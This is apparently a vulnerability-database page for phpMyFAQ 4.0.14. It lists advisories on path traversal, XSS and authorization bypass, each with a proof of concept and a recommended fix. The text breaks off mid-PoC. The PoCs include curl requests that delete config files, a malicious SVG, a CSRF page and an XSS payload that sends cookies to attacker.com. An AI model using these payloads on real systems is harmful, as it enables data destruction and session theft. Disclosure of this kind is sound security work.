Search for packages
| purl | pkg:composer/phpmyfaq/phpmyfaq@4.0.14 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-2w3p-tar6-8qgk
Aliases: GHSA-gh9p-q46p-57g2 |
phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins ## Summary `Client::deleteClientFolder()` in `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583` takes a URL from the caller, strips the `https://` prefix, and passes the remainder to `Filesystem::deleteDirectory()` relative to the multisite `clientFolder`. No path-traversal validation runs. An admin with the `INSTANCE_DELETE` permission (a role short of SUPER_ADMIN) submits `https://../../../<path>` as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier. ## Details `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591`: ```php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; } $sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl); return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath); } ``` `str_replace` strips the scheme but does nothing about `../` segments. The concatenation `$this->clientFolder . $sourcePath` directly feeds the filesystem call, which traverses above `clientFolder` without complaint. Callers feed the URL from the HTTP request body: `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184`: ```php if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) { ``` `$clientData->url` comes from `json_decode($request->getContent())`. The route is `admin.api.instance.delete`, gated by `INSTANCE_DELETE`. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to `deleteClientFolder()`. `InstanceController.php:144` (edit path) and `Controller/Administration/InstanceController.php:151` (form path) both reach the same sink through different entry points. ### Precedent GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in `MediaBrowserController::index()`: an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink. ## Proof of Concept Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with `INSTANCE_ADD` and `INSTANCE_DELETE` rights, no `SUPER_ADMIN` flag. Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page. Step 2: Alice creates an instance whose `url` encodes a traversal payload. The create path at `InstanceController.php:144` already concatenates to the clientFolder through the same `deleteClientFolder(`'https://' . $hostname`)` call: ```bash curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}' ``` Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands `clientData->url` directly to `deleteClientFolder`: ```bash curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/"}' ``` The server computes `$sourcePath = '../../../tmp/pmf-poc/'`, concatenates to `<clientFolder>/`, and recursively deletes the resulting path. Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see `InstanceController.php:184`. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope. ## Impact Any phpMyFAQ admin holding `INSTANCE_ADD` + `INSTANCE_DELETE` but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes: - Destroy other tenants' data on a shared multisite deployment by traversing above the `clientFolder` into peer directories. - Delete phpMyFAQ's own `content/`, `config/`, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ. phpMyFAQ's permission model gives `INSTANCE_ADD` / `INSTANCE_DELETE` as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive. ## Recommended Fix Canonicalize and validate the URL before forming the filesystem path. `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583`: ```php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; } $parsed = parse_url($sourceUrl); if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') { return false; } $host = $parsed['host']; if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) { return false; } $target = realpath($this->clientFolder . $host); $root = realpath($this->clientFolder); if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) { return false; } return $this->filesystem->deleteDirectory($target); } ``` `parse_url` rejects malformed inputs, the regex pins the host to valid DNS characters (no `/`, no `..`), and the `realpath` check ensures the resolved target lives under `clientFolder`. Apply the same canonicalization at the controller layer (`InstanceController::add`, `::update`, `::delete`) so the URL is validated before every call that touches the filesystem. --- *Found by [aisafe.io](https://aisafe.io)* |
Affected by 1 other vulnerability. |
|
VCID-522f-tfh9-juea
Aliases: GHSA-whqh-9pq5-c7r3 |
phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS ## Summary The `SvgSanitizer::decodeAllEntities()` method limits recursive entity decoding to 5 iterations. By wrapping each character of `javascript` in an `href` attribute value with 5 levels of `&` encoding around numeric HTML entities (e.g., `&amp;amp;amp;amp;#106;` for `j`), an attacker can bypass both `isSafe()` detection and `sanitize()` removal. The uploaded SVG is served from the application origin with `image/svg+xml` content type, and the browser's XML parser fully decodes the remaining `&#NNN;` entities, resulting in a clickable `javascript:` link that executes arbitrary JavaScript. ## Details **Root cause:** `decodeAllEntities()` at `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249` limits entity decoding to `maxIterations=5`. Each iteration: (1) decodes `&#NNN;` numeric entities, (2) decodes `&#xHH;` hex entities, (3) calls `html_entity_decode()` which resolves one level of `&` → `&`. With 5 levels of `&` wrapping, all 5 iterations are consumed unwinding the `&` nesting, leaving the final `&#NNN;` numeric entities unresolved. **Code path:** 1. Authenticated user with `FAQ_EDIT` permission uploads SVG via `POST /admin/api/content/images` (`ImageController::upload()` at line 39) 2. File extension is `svg` → `SvgSanitizer::isSafe()` called (line 114) 3. `isSafe()` calls `decodeAllEntities()` — 5 iterations resolve `&` nesting but leave `ja...` (numeric entities for `javascript`) 4. Pattern matching at line 47 (`/href\s*=\s*["\'][\s]*javascript\s*:/i`) does **not** match `ja...` 5. `isSafe()` returns **true** — file saved **without any sanitization** 6. SVG served directly by web server from `content/user/images/` with `image/svg+xml` MIME type 7. Browser's XML parser decodes `j` → `j`, `a` → `a`, etc., reconstructing `javascript:alert(document.domain)` 8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin The bypass is even simpler than initially described — no `<script>` decoy tag is needed. Since `isSafe()` itself is bypassed, the file is stored without sanitization and the `sanitize()` code path is never reached. **Relevant code in `decodeAllEntities()`:** ```php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 5; // <-- insufficient for 5 levels of & + numeric entity while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; // Step 1: Decode decimal entities (j → j) $decoded = preg_replace_callback('/&#(\d+);/', ...); // Step 2: Decode hex entities (j → j) $decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...); // Step 3: Decode named HTML entities (& → &) $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } // After 5 iterations with 5 & levels: j remains undecoded return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded); } ``` ## PoC Upload an SVG file containing a `javascript:` href where each character of `javascript` is entity-encoded with 5 levels of `&` nesting around numeric entities. No `<script>` decoy is required — `isSafe()` itself is bypassed. **Step 1: Create malicious SVG file (`xss.svg`):** ```xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200"> <a href="&amp;amp;amp;amp;#106;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#118;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#115;&amp;amp;amp;amp;#99;&amp;amp;amp;amp;#114;&amp;amp;amp;amp;#105;&amp;amp;amp;amp;#112;&amp;amp;amp;amp;#116;:alert(document.domain)"> <circle cx="100" cy="100" r="80" fill="red"/> <text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text> </a> </svg> ``` **Step 2: Upload via admin image upload endpoint:** ```bash curl -b 'session_cookie' \ -F "files[]=@xss.svg" \ "https://TARGET/admin/api/content/images?csrf=VALID_TOKEN" ``` Expected response: `{"success": true, ...}` with the uploaded file URL. **Step 3: Access the uploaded SVG directly:** ``` https://TARGET/content/user/images/1712345678_xss.svg ``` The browser renders the SVG as `image/svg+xml`. The XML parser decodes `j` → `j`, `a` → `a`, etc., producing `href="javascript:alert(document.domain)"`. Clicking the red circle executes JavaScript in the phpMyFAQ origin. ## Impact - **Stored XSS**: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin. - **Session hijacking**: Attacker can steal session cookies and CSRF tokens of other admins. - **Privilege escalation**: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control. - **Data exfiltration**: Access to all FAQ content, user data, and configuration accessible through the admin interface. The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance. ## Recommended Fix The root cause is that `decodeAllEntities()` can be exhausted by deeply nested `&` encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed: ```php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities() private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 10; // Increase from 5 to handle deeper nesting while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; $decoded = preg_replace_callback( '/&#(\d+);/', static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = preg_replace_callback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, ); $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8'); } // Safety net: if the loop exited due to iteration limit, do a final // numeric/hex entity decode pass to catch any remaining &#NNN; entities $decoded = preg_replace_callback( '/&#(\d+);/', static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = preg_replace_callback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, ); return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded); } ``` Additionally, consider serving uploaded SVG files with `Content-Disposition: attachment` or `Content-Type: application/octet-stream` to prevent browser rendering, as a defense-in-depth measure. |
Affected by 1 other vulnerability. |
|
VCID-7um9-fk42-wqbs
Aliases: GHSA-hpgw-ww76-c68r |
phpMyFAQ has an Authorization Bypass in All Admin Pages Due to Non-Terminating Permission Check ## Summary `AbstractAdministrationController::userHasPermission()` catches the `ForbiddenException` thrown when a user lacks a specific permission, sends a "forbidden" HTML page via `$response->send()`, but does not terminate execution. The calling controller method continues to execute, fetches protected data, renders the full template, and returns it as a Response. The final `$response->send()` in `admin/index.php` outputs the protected page content after the forbidden page, leaking all permission-protected admin data to any authenticated admin user regardless of their actual permissions. ## Details The parent class `AbstractController::userHasPermission()` (`phpmyfaq/src/phpMyFAQ/Controller/AbstractController.php:317-327`) correctly enforces authorization by throwing a `ForbiddenException` when the user lacks the required permission. This exception would normally propagate to Symfony's HttpKernel exception handler, which would return an error response and prevent the controller from continuing. However, `AbstractAdministrationController` overrides this method at line 390-399: ```php #[\Override] protected function userHasPermission(PermissionType $permissionType): void { try { parent::userHasPermission($permissionType); } catch (ForbiddenException $exception) { $response = $this->getForbiddenPage($exception->getMessage()); $response->send(); // Outputs HTML but does NOT terminate execution } catch (Exception $exception) { $this->configuration->getLogger()->error($exception->getMessage()); // Only logs, no response, no termination } } ``` The critical flaw: after `$response->send()` at line 396, there is no `exit()`, `die()`, `return`, or re-throw. PHP execution continues normally into the calling controller method. For example, in `AdminLogController::index()` (`phpmyfaq/src/phpMyFAQ/Controller/Administration/AdminLogController.php:45-83`): ```php public function index(Request $request): Response { $this->userHasPermission(PermissionType::STATISTICS_ADMINLOG); // ^^^ If user lacks permission: forbidden page is echoed, but execution continues // ... all of this still executes: $loggingData = $this->adminLog->getAll(); // Fetches ALL admin log entries // ... return $this->render('@admin/statistics/admin-log.twig', [ // ... full admin log data including IPs, usernames, actions 'loggingData' => $currentItems, ]); } ``` The entry point `admin/index.php` then calls `$response->send()` on the returned Response, appending the full protected page to the already-sent forbidden page in the HTTP response body. The second `catch` block (line 397-398) for generic `Exception` is even worse — it only logs the error without sending any response or terminating, so the protected page renders with no forbidden notice at all. **58 admin controllers** extend `AbstractAdministrationController` and call `userHasPermission()`, meaning every permission-protected admin page is affected. This includes: - Admin logs (user IPs, actions, usernames) - User management (user data, permissions) - System information (server configuration, PHP info) - Configuration pages (all application settings) - Backup pages - All other admin functionality ## PoC 1. Create a test admin user with minimal permissions (e.g., only FAQ editing, no statistics access): 2. Authenticate as the limited admin user and request a permission-protected page: ```bash # Get admin session cookies by logging in curl -c cookies.txt -d 'faqusername=limited_admin&faqpassword=password&pmf-csrf-token=TOKEN' \ 'https://TARGET/admin/?action=login' # Access admin log page (requires STATISTICS_ADMINLOG permission) curl -b cookies.txt -s 'https://TARGET/admin/statistics/admin-log' | tee response.html # The response contains BOTH the forbidden page HTML AND the full admin log: grep -c 'You are not allowed' response.html # 1 — forbidden page was sent grep -c 'loggingData\|ad_adminlog_ip' response.html # matches — admin log data also present # Access system information (requires CONFIGURATION_EDIT permission) curl -b cookies.txt -s 'https://TARGET/admin/system-information' | tee sysinfo.html # Contains PHP version, extensions, database info, server configuration ``` 3. The HTTP response body contains the forbidden page HTML followed by the full protected page HTML, including all sensitive data. ## Impact Any authenticated admin user — even one with zero administrative permissions beyond basic login — can access **every** permission-protected admin page by simply requesting its URL. The permission check sends a forbidden page but does not stop execution, so the protected content is always appended to the response. Exposed data includes: - **Admin logs**: All admin users' IP addresses, actions, and timestamps - **User management**: User accounts, email addresses, permissions - **System information**: PHP configuration, database details, server paths - **Configuration**: All application settings including security-sensitive values - **Backups**: Database export functionality This effectively renders the entire admin permission system non-functional for the 58 page controllers using `AbstractAdministrationController`. ## Recommended Fix Add `return` after sending the forbidden response, and re-throw for the generic Exception case: ```php #[\Override] protected function userHasPermission(PermissionType $permissionType): void { try { parent::userHasPermission($permissionType); } catch (ForbiddenException $exception) { $response = $this->getForbiddenPage($exception->getMessage()); $response->send(); exit; // Terminate execution to prevent controller from continuing } catch (Exception $exception) { $this->configuration->getLogger()->error($exception->getMessage()); throw $exception; // Re-throw to prevent controller from continuing } } ``` A cleaner architectural fix would be to not swallow the exception at all, and instead let it propagate to the Symfony HttpKernel exception handler (which already handles `ForbiddenException` via `WebExceptionListener`): ```php #[\Override] protected function userHasPermission(PermissionType $permissionType): void { // Simply delegate to parent — let ForbiddenException propagate // to the WebExceptionListener which renders the appropriate error page parent::userHasPermission($permissionType); } ``` Or remove the override entirely, since the `WebExceptionListener` registered in the Kernel already handles exception-to-response conversion. |
Affected by 1 other vulnerability. |
|
VCID-8frb-zq9k-zqac
Aliases: CVE-2026-24420 GHSA-7p9h-m7m8-vhhv |
Duplicate This advisory duplicates another. |
Affected by 0 other vulnerabilities. Affected by 14 other vulnerabilities. |
|
VCID-g5vv-tya3-wkft
Aliases: CVE-2026-34728 GHSA-38m8-xrfj-v38x |
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController ### Summary The `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. ### Details **Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php` **Lines 43-66:** ```php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQ_EDIT); // ... $data = json_decode($request->getContent()); $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS); if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS); $file = PMF_CONTENT_DIR . '/user/images/' . $file; if (file_exists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } } ``` **Root Causes:** 1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters. 2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48. 3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory. 4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests. **Comparison with secure implementation in the same codebase:** The `ImageController::upload()` method (same directory) properly validates file names: ```php if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences } ``` The `FilesystemStorage::normalizePath()` method also properly validates paths: ```php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } } ``` ### PoC **Direct exploitation (requires authenticated admin session):** ```bash # Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}' # Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}' ``` **CSRF exploitation (attacker hosts this HTML page):** ```html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html> ``` When an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application. ### Impact - **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss). - **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files. - **Data loss:** Arbitrary file deletion on the server filesystem. - **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections. ### Remediation 1. **Add path traversal validation:** ```php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS)); $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file); $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images'); if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST); } if (file_exists($targetPath)) { unlink($targetPath); } } ``` 2. **Add CSRF protection:** ```php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED); } ``` 3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics. |
Affected by 13 other vulnerabilities. |
|
VCID-ghg9-s21m-jqe6
Aliases: GHSA-rm98-82fr-mcfx |
phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User ## Summary 12 endpoints in `ConfigurationTabController.php` use `userIsAuthenticated()` (login-only check) instead of `userHasPermission(PermissionType::CONFIGURATION_EDIT)`. This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider. ## Details The `ConfigurationTabController` contains 15 public endpoints. Three of them (`list`, `save`, `uploadTheme`) correctly enforce `CONFIGURATION_EDIT` permission: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63 public function list(Request $request): Response { $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct // ... } ``` The remaining 12 only check that the user is logged in: ```php // phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353 public function translations(): Response { $this->userIsAuthenticated(); // ❌ Missing permission check // ... } ``` The difference between these two methods is significant: ```php // AbstractController.php:258 — login-only protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } // AbstractController.php:317 — login + permission check protected function userHasPermission(PermissionType $permissionType): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } $currentUser = $this->currentUser; if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) { throw new ForbiddenException(/* ... */); } } ``` There is no middleware or router-level authorization — the Kernel (`Kernel.php`) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level. The 12 affected endpoints (all GET, all under `/admin/api/`): | # | Method | Route | Info Exposed | |---|--------|-------|-------------| | 1 | `translations()` | `/configuration/translations` | Available languages + current language | | 2 | `templates()` | `/configuration/templates` | Available themes + active theme | | 3 | `faqsSortingKey()` | `/configuration/faqs-sorting-key/{current}` | FAQ sorting key options | | 4 | `faqsSortingOrder()` | `/configuration/faqs-sorting-order/{current}` | FAQ sorting order | | 5 | `faqsSortingPopular()` | `/configuration/faqs-sorting-popular/{current}` | Popular FAQ sorting | | 6 | `permLevel()` | `/configuration/perm-level/{current}` | Permission model (basic/medium) | | 7 | `releaseEnvironment()` | `/configuration/release-environment/{current}` | Dev/production environment | | 8 | `searchRelevance()` | `/configuration/search-relevance/{current}` | Search relevance config | | 9 | `seoMetaTags()` | `/configuration/seo-metatags/{current}` | SEO meta tag config | | 10 | `translationProvider()` | `/configuration/translation-provider/{current}` | Translation service (DeepL, etc.) | | 11 | `mailProvider()` | `/configuration/mail-provider/{current}` | Mail provider (SMTP, etc.) | | 12 | `cacheAdapter()` | `/configuration/cache-adapter/{current}` | Cache backend (filesystem/redis/memcached) | The `translations()` and `templates()` endpoints directly read from config/filesystem and expose current settings. The `{current}` endpoints render HTML `<option>` dropdowns where the caller-supplied value gets the `selected` attribute — an attacker can enumerate possible values to discover the current configuration. ## PoC ```bash # Step 1: Authenticate as any user (even one with no admin permissions) # and obtain the session cookie (pmf_auth_XXXX) # Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission # Enumerate available languages and current language setting curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translations # Enumerate available templates and which is active curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/templates # Discover permission model by trying known values curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/perm-level/basic # Discover release environment curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/release-environment/development # Discover cache backend curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/cache-adapter/filesystem # Discover mail provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/mail-provider/smtp # Discover translation provider curl -s -b 'pmf_auth_XXXX=<session>' \ https://target.example/admin/api/configuration/translation-provider/deepl ``` Expected: HTTP 403 Forbidden for a user without `configuration_edit` permission. Actual: HTTP 200 with configuration data in HTML option format. ## Impact Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate: - The instance's permission model (basic vs. medium) — reveals access control architecture - Whether the instance runs in development or production mode — development mode may expose debug info - The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks - The mail provider configuration — reveals infrastructure details - Available and active templates/themes — aids in targeting template-specific vulnerabilities - Translation provider (e.g., DeepL) — reveals third-party service integrations While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same `CONFIGURATION_EDIT` permission as the `list` and `save` endpoints. ## Recommended Fix Replace `$this->userIsAuthenticated()` with `$this->userHasPermission(PermissionType::CONFIGURATION_EDIT)` in all 12 affected methods: ```php // In ConfigurationTabController.php — apply to all 12 methods // Before (line 355, and equivalent in all others): $this->userIsAuthenticated(); // After: $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); ``` Affected methods: `translations()`, `templates()`, `faqsSortingKey()`, `faqsSortingOrder()`, `faqsSortingPopular()`, `permLevel()`, `releaseEnvironment()`, `searchRelevance()`, `seoMetaTags()`, `translationProvider()`, `mailProvider()`, `cacheAdapter()`. |
Affected by 1 other vulnerability. |
|
VCID-gnta-ej6g-g7fp
Aliases: CVE-2026-24421 GHSA-wm8h-26fv-mg7g |
phpMyFAQ: /api/setup/backup accessible to any authenticated user (authz missing) Authenticated non‑admin users can call /api/setup/backup and trigger a configuration backup. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP. |
Affected by 0 other vulnerabilities. Affected by 14 other vulnerabilities. |
|
VCID-mgy2-jjae-4qds
Aliases: GHSA-pqh6-8fxf-jx22 |
phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering ## Summary The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping. A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output. This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch. --- ## Affected Files | File | Location | Issue | |---|---|---| | `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape | | `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads | | `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) | --- ## Details ### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape **File:** `phpmyfaq/assets/templates/default/search.twig` ```twig <a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a> <small class="small">{{ result.answerPreview | raw }}...</small> ``` Twig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data. Seven (7) instances of `| raw` exist in `search.twig`: ```twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'help_search' | translate | raw }} ``` Each of these constitutes an independent XSS surface if its data source is compromised. --- ### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass **File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` ```php $data->answer = html_entity_decode( strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8' ); ``` This pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized. **Bypass walkthrough:** ```text Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)> strip_tags() → no change (no real tags detected) → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> | raw output → executes in browser ``` --- ## Attack Chain **Prerequisites:** Attacker has FAQ editor / contributor role (low privilege). **Step 1 — Payload injection** Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: ```html <svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))> <img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))> ``` **Step 2 — Persistence** The payload is stored in the DB without HTML sanitization at the storage layer. **Step 3 — Victim triggers the XSS** Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server: 1. Retrieves the record from the database 2. Applies `strip_tags()` → entity-encoded payload passes through 3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored 4. Passes the value to `search.twig` as `result.answerPreview` 5. Template renders with `| raw` → XSS executes **Step 4 — Impact** - Session cookie exfiltration → full account takeover - Administrator session hijacking (admin visiting search page) - Persistent attack: payload fires for every visitor until manually removed - Potential for worm propagation via auto-created FAQ entries --- ## PoC **Prerequisites:** Attacker has FAQ editor / contributor role (low privilege). **Step 1 — Inject payload via FAQ editor:** ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: 